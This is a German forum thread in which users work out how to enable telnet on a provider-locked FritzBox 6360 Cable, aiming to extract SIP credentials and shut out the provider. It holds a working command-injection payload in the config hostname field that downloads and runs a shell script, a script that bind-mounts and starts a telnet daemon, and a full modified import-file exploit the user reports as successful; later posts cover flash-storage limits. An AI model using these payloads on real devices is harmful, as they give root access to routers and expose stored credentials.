[Problem] FB 6360 Cable KDG Telnet aktivieren

Flole

Mitglied
Mitglied seit
23 Dez 2013
Beiträge
285
Punkte für Reaktionen
30
Punkte
28
Bevor jetzt gleich wieder das Geschrei los geht von wegen es sein nicht Möglich/nicht gewollt usw.: Es gibt einen großen Unterschied zwischen nicht Möglich und nicht gewollt. Das beste Beispiel hierfür ist ja die 6490, command injection möglich aber ja wohl kaum gewollt.

Ich hab eine 6360 Cable von KDG und würde ganz gerne Telnet auf dieser aktivieren unter anderem um an die SIP Zugangsdaten (ja ich weiß das es auch anders geht aber mit Telnet ist es meiner Meinung nach am einfachsten) zu kommen und den Zugriff für KDG (erstmal) dicht zu machen. PeterPawn hat ja schon einmal festgestellt, das auf den Cable Boxen sogar 2 Telnet Daemons existieren, jedoch nicht ausgeführt werden.
Ich dachte das man für mein Projekt vielleicht die Command Injection ausnutzen konnte, die ja zumindest auf der 6490 existiert (hat). Da meine 6360 auch noch mit OS 6.06 läuft (hoffentlich kommt da auch so schnell kein Update), sollte das auch noch Möglich sein (sofern es die Lücke auf dieser mal gab/gibt). Nun zu meinem Problem: In der exportierten config steht einfach kein hostname, die einzigen Treffer die ich dort hab sind einmal die hier (keine Ahnung was die genau machen, den User DNS hab ich mal verstellt also nicht wundern das da was steht :D ).

Code:
servercfg {
        hostname = "(none)";
        dns1 = 169.254.180.1;
        dns2 = 169.254.180.2;
        use_user_dns_for_ipv4 = yes;
        user_dns1_for_ipv4 = 8.8.8.8;
        user_dns2_for_ipv4 = 8.8.4.4;
        use_user_dns_for_ipv6 = no;
        user_dns1_for_ipv6 = ::;
        user_dns2_for_ipv6 = ::;
}

In der ar7.cfg hab ich das hier am Anfang stehen

Code:
ar7cfg {
        mode = dsldmode_router;
        active_provider = "other";
        active_name = "";
        ....

Könnte der active_name eventuell der Hostname sein?

Falls es darüber nicht Möglich sein sollte Telnet zu erlangen, gibt es irgendwelche anderen Möglichkeiten? Mich regt es extrem auf das KDG Zugriff auf die Box hat und ich mir jetzt nen Server als Firewall hinter die FB setzen musste um mein Netz vor "meinen" Geräten zu schützen.
 
Zuletzt bearbeitet:
Hast Du es denn mal mit meinem Beispiel versucht? Was kommt denn für ein Fehler? Ist zwar alles unendlich lange her ... aber ich kann mich gar nicht erinnern, daß die 6360 irgendwie abgedichtet wurde.

Der Hostname ist - nebenbei bemerkt - genau dieser 'hostname = "(none)";'-Eintrag ... es wurde halt noch keiner über das GUI gesetzt bei Dir.

Ich habe keine 06.06 für die 6360, nur eine 06.05 vom 09.04.2014 ... da ist sogar noch die Abarbeitung der debug.cfg enthalten. Die Hostname-Lücke müßte aber auch in der 06.06 noch drin sein ... es interessiert sich ja offenbar keiner dafür, sie zu schließen (bei den Providern, AVM hat m.W. schon eine korrigierte Version herausgegeben).
 
Ich wollte eigentlich den telnet nur einmal starten, daher habe ich das hier als hostnamen benutzt

Code:
 hostname = "fritz.box$(wget -O - [url]http://192.168.100.1/fb[/url] | sh)"

was ja eigentlich die Datei fb vom server laden sollte und dann zeilenweise ausführen sollte.

Die fb datei sieht dann so aus (kommt aus deinem anderen Post)

Code:
mkdir /var/usrsbin
cp -a /usr/sbin/* /var/usrsbin/
ln -s /bin/busybox /var/usrsbin/telnetd
mount -o bind /var/usrsbin /usr/sbin
telnetd -l /sbin/ar7login

aber irgendwie passiert nix. Hab ich noch irgendwas vergessen?
 
Hab ich noch irgendwas vergessen?
Wenn ich jetzt schreibe: "Ja, zu lesen ...", klingt das vielleicht wieder unnötig rüde. Aber ich glaube doch mich erinnern zu können, extra darauf hingewiesen zu haben, daß zum Zeitpunkt der Ausführung der S44-hostname das Netzwerk noch nicht unbedingt funktionieren muß. Das wird ggf. erst von E46-dsl (oder so ähnlich) gestartet - auch wenn das nicht logisch klingt, richtet wohl erst der dsld die korrekte LAN-Konfiguration ein, wenn er weiß, wie die Bridges zu konfigurieren sind. Ist aber auch nur Interpretation meinerseits ... den Bootvorgang habe ich bisher noch nicht live tracen müssen. Da es aber keine Konfigurationskommandos für die Interfaces in Skript-Code gibt, muß das ja offenbar eine CS-Komponente übernehmen.
 
Hab mich jetzt mal genau an die Anleitung gehalten die du mal gepostet hast, meine export enhält also jetzt die folgenden Modifikationen:

Code:
hostname = "fritzbox$(v=/var;f=$v/flash;c=$f/calllog;mkconfigfile $v/98 98;cat $c >$v/98;rm $v/98;echo -n >$c)";

und

Code:
**** BINFILE:calllog
oldfile="$(cat $cfgdir/parts/calllog 2>/dev/null)"
cat >$cfgdir/parts/calllog <<"ENDOFHEADER"
cat /var/flash/debug.cfg >/var/saved_debug
sed -i /var/saved_debug -e "1,/^if/d" -e "\$d"
delay -d 15 PREP "/bin/sh /var/saved_debug prepare_telnet"
echo -n >/var/flash/debug.cfg
if [ x"$1" == x"prepare_telnet" ]; then
cat >/var/flash/debug.cfg <<"ENDOFRCUSER"
ENDOFHEADER
if [ $box -eq 6360 ]; then
    cat >>$cfgdir/parts/calllog <<ENDOFBOXTELNET6360
        mkdir /var/usrsbin
        cp -a /usr/sbin/* /var/usrsbin/
        ln -s /bin/busybox /var/usrsbin/telnetd
        mount -o bind /var/usrsbin /usr/sbin
        telnetd -l /sbin/ar7login
ENDOFBOXTELNET6360
else
    cat >>$cfgdir/parts/calllog <<"ENDOFBOXTELNET6490"
        . /etc/puma6_helper.sh
        if is_puma6_arm; then
            utelnetd -l /sbin/ar7login -d -i lan
        fi
ENDOFBOXTELNET6490
fi
echo "ENDOFRCUSER" >>$cfgdir/parts/calllog
if [ ${#oldfile} -gt 0 ]; then
    eot=EOT$(date +%s)
    cat >>$cfgdir/parts/calllog <<-ENDOFCALLLOG
        cat >/var/flash/calllog <<"$eot"
        $oldfile
        $eot
    ENDOFCALLLOG
fi
cat >>$cfgdir/parts/calllog <<-ENDOFTAIL
eventadd 1 "debug.cfg installiert"
delay -d 1 TND "/bin/sh /var/flash/debug.cfg"
eventadd 1 "Telnet-Daemon wird erstmals gestartet"
sleep 10
ctlmgr_ctl w box settings/hostname $fbhostname
fi
ENDOFTAIL
**** END OF FILE ****

Diese Datei lässt sich nun trotz angepasster Checksum nicht einspielen. Die Box meldet "Die angegebene Datei ist keine gültige Import-Datei". Was läuft da schief? Wurde die Lücke vielleicht doch in der 6.06 gepatcht?

Bei meinen anderen Versuchen stand im Hostname nur das $("Meine Commands") im GUI, was mich doch etwas verwundert. Hätte das nicht eigentlich die Ausgabe meiner Commands dort haben sollen? (Wieder ein Zeichen das schon gepatcht wurde?)

EDIT: Dein telnet_on_via_hostname meldet eine unsupported version, wenn ich den check einfach abschalte fehlt eine session ID:
Code:
Missing required session id for 'post' subcommand.

Missing required session id for 'logout' subcommand.
 
Zuletzt bearbeitet:
Habs geschafft indem ich die export manuell geladen hab und dann nur den abschnitt des scriptes benutzt hab der die Änderungen durchführt, die Lücke ist also auch in der 6.06 noch offen, vielen Dank an KDG dafür. Danke an PeterPawn für die Hilfe!!
 
Ich habe zwar nicht so richtig begriffen, was da in #5 nun woher stammt ... aber wenn das ein Auszug aus der resultierenden Import-Datei war, dann fehlt ja offenbar beim BINFILE calllog beim Import die Hex-Codierung. Ich wäre verblüfft, wenn der Import eines "BINFILE"-Eintrags (bzw. des Inhalts dahinter) als Klartext funktioniert ... das geht schon bei der abweichenden Behandlung bei der Prüfsummenbildung los.

Wenn also jemand anderes diesen Beitrag später mal findet und versucht, ebenso vorzugehen, dann sollte er als erstes prüfen, woher beim korrekten Eintrag von
Code:
**** BINFILE:calllog
der nachfolgende Klartext kommt. Das sollte hexadezimal kodiert sein ... keine Ahnung, ob da auf dem Rechner von Flole das notwendige Programm fehlte. Auf einer originalen AVM-Firmware gäbe es aber auch kein "hexdump"-Applet in der Busybox, dafür könnte man sich z.B. so helfen: https://github.com/PeterPawn/YourFritz/blob/master/export/hexdump
 
Ich habe zwar nicht so richtig begriffen, was da in #5 nun woher stammt ... aber wenn das ein Auszug aus der resultierenden Import-Datei war, dann fehlt ja offenbar beim BINFILE calllog beim Import die Hex-Codierung. Ich wäre verblüfft, wenn der Import eines "BINFILE"-Eintrags (bzw. des Inhalts dahinter) als Klartext funktioniert ... das geht schon bei der abweichenden Behandlung bei der Prüfsummenbildung los.

Ich hab da eine Ahnung...
Wenn /var/flash/calllog nicht existiert oder nicht richtig behandelt wird, dann ensteht durch obige Aktion eine reguläre Datei.
...und die landet dann zum Zeitpunkt der Sicherung als Klartext in der Sicherungsdatei.

Na? Gut geraten?
 
Kann ich mir wieder nicht so richtig vorstellen ... der Code beim Export (in lib/libcfgimpexp.so) schert sich nach meiner Kenntnis nicht darum, woher die Datei kommt - dem kann man auch per chroot ein falsches Environment und fremde (reguläre) Dateien unterjubeln, wie es decode_passwords auch machen kann.

Ob und wie sie ausgegeben oder beim Einlesen akzeptiert werden, steht in dieser Library ... auch, welche Dateien überhaupt beim Export in Frage kommen. Die Liste der von dieser Library exportierten Funktionen ist nun auch nicht allzu lang ... da ist mit ein wenig Entdeckerfreude und einem Debugger/Disassembler schnell gefunden, wie das aufgebaut ist. Ist als "Dateiansicht" schon etwas schwieriger, aber wenn die erst einmal geladen ist und die Offsets auf sinnvolle Zeichenketten zeigen, kommt man ziemlich schnell dahinter, was da wo definiert ist.

Dann kann man mit passend gewählten Namen eigener Konfigurationsdateien (die /data/tam/config käme z.B. in Frage, seitdem die "richtige" AB-Konfiguration in tamconf steht, die calllog natürlich auch noch, die benutzt m.W. ansonsten ebenfalls keine AVM-Komponente mehr) die sogar von der AVM-Firmware mitsichern und wiederherstellen lassen ... allerdings nur bei "BINFILE"-Format. Ansonsten muß da die jeweilige interne Struktur der Konfigurationsdateien in Klartext-Form passen, damit die verarbeitet werden kann. Man kann also nicht einfach hingehen und die user.cfg nach wlan.cfg umbenennen und hoffen, daß der Export funktioniert. Nur dann, wenn der Inhalt dem Ex-/Import praktisch egal ist, funktioniert das.
 
Hm, ich nutze die /var/flash/calllog für ein resetfestes Ereignisprotokollbackup.
Bei mir wird die sauber als Binfile in die Sicherung geschrieben.
...ohne Klartext.

Wieviel darf man da eigentlich reinschreiben lassen? :gruebel:
 
Wieviel darf man da eigentlich reinschreiben lassen? :gruebel:
Ein TFFS-Entry (das ist ja ein "deflated stream" mit zlib komprimiert - nur Environment-Variablen werden unkomprimiert gespeichert) darf max. 64 KByte (-1) haben:
Code:
struct _TFFS_Entry {
    unsigned short ID;
    [COLOR="#FF0000"]unsigned short Length;[/COLOR]
};
(aus tffs.h)

Die Reservierungen für Buffer im Kernel werden m.W. mit "1 << 16" als Länge angegeben, Lese-Zugriffe entsprechend begrenzt:
Code:
        unsigned int length = (1 << 16) -1;

Andererseits wird in tffs_open.c eigentlich nur ein 32K-Puffer für die komprimierten Daten reserviert:
Code:
        open_data->z_length = (32 * 1024) + 16;
[...]
        open_data->z_Buffer = vmalloc(open_data->z_length);
Da dort auch beim ersten komplett gefüllten Buffer (ohne Z_STREAM_END-Status von zlib_deflate) der Fehler "ENOSPC" gemeldet wird (ich finde keine Schleife, die einen zweiten Aufruf nahelegen würde), behaupte ich mal anhand der Quellen (113.06.30 und sofern ich nichts übersehen habe), daß bei 32KB komprimiert Schluß ist. Der TFFS-Treiber komprimiert nur mit "Z_DEFAULT_COMPRESSION", das ginge mit "gzip -9" wohl nur wenig besser und schon gar nicht mit der Busybox, weil deren gzip die Parameter "-0" bis "-9" einfach ignoriert.

Was aber helfen könnte, wäre eine vorherige Kompression mit LZMA2 (inzwischen gibt es ja auch die "xz"-Utilities in Freetz, auch die Busybox kennt eines, aber m.W. nur mit LZMA1-Kompression). Die ist sicherlich geeignet, mehr in diesen 32 KB unterzubringen. Zwar braucht auch "store" bei zlib-Kompression einen kleinen Speicher-Overhead (und natürlich einen recht großen Prozessorzeit-Overhead beim nutzlosen Versuch, die Daten noch einmal zu komprimieren), aber die abschließende (Speicherplatz-)Bilanz müßte bei externer xz-Kompression am besten aussehen.

Überschreitet man die 32 KB komprimiert beim Schreiben, gibt es eben "no space left on device" (bzw. sollte es geben).

So, jetzt ist aber Feiern angesagt ... bis nächstes Jahr.
 
Zuletzt bearbeitet:

Neueste Beiträge

Statistik des Forums

Themen
244,858
Beiträge
2,219,652
Mitglieder
371,572
Neuestes Mitglied
#Kuddel#
Holen Sie sich 3CX - völlig kostenlos!
Verbinden Sie Ihr Team und Ihre Kunden Telefonie Livechat Videokonferenzen

Gehostet oder selbst-verwaltet. Für bis zu 10 Nutzer dauerhaft kostenlos. Keine Kreditkartendetails erforderlich. Ohne Risiko testen.

3CX
Für diese E-Mail-Adresse besteht bereits ein 3CX-Konto. Sie werden zum Kundenportal weitergeleitet, wo Sie sich anmelden oder Ihr Passwort zurücksetzen können, falls Sie dieses vergessen haben.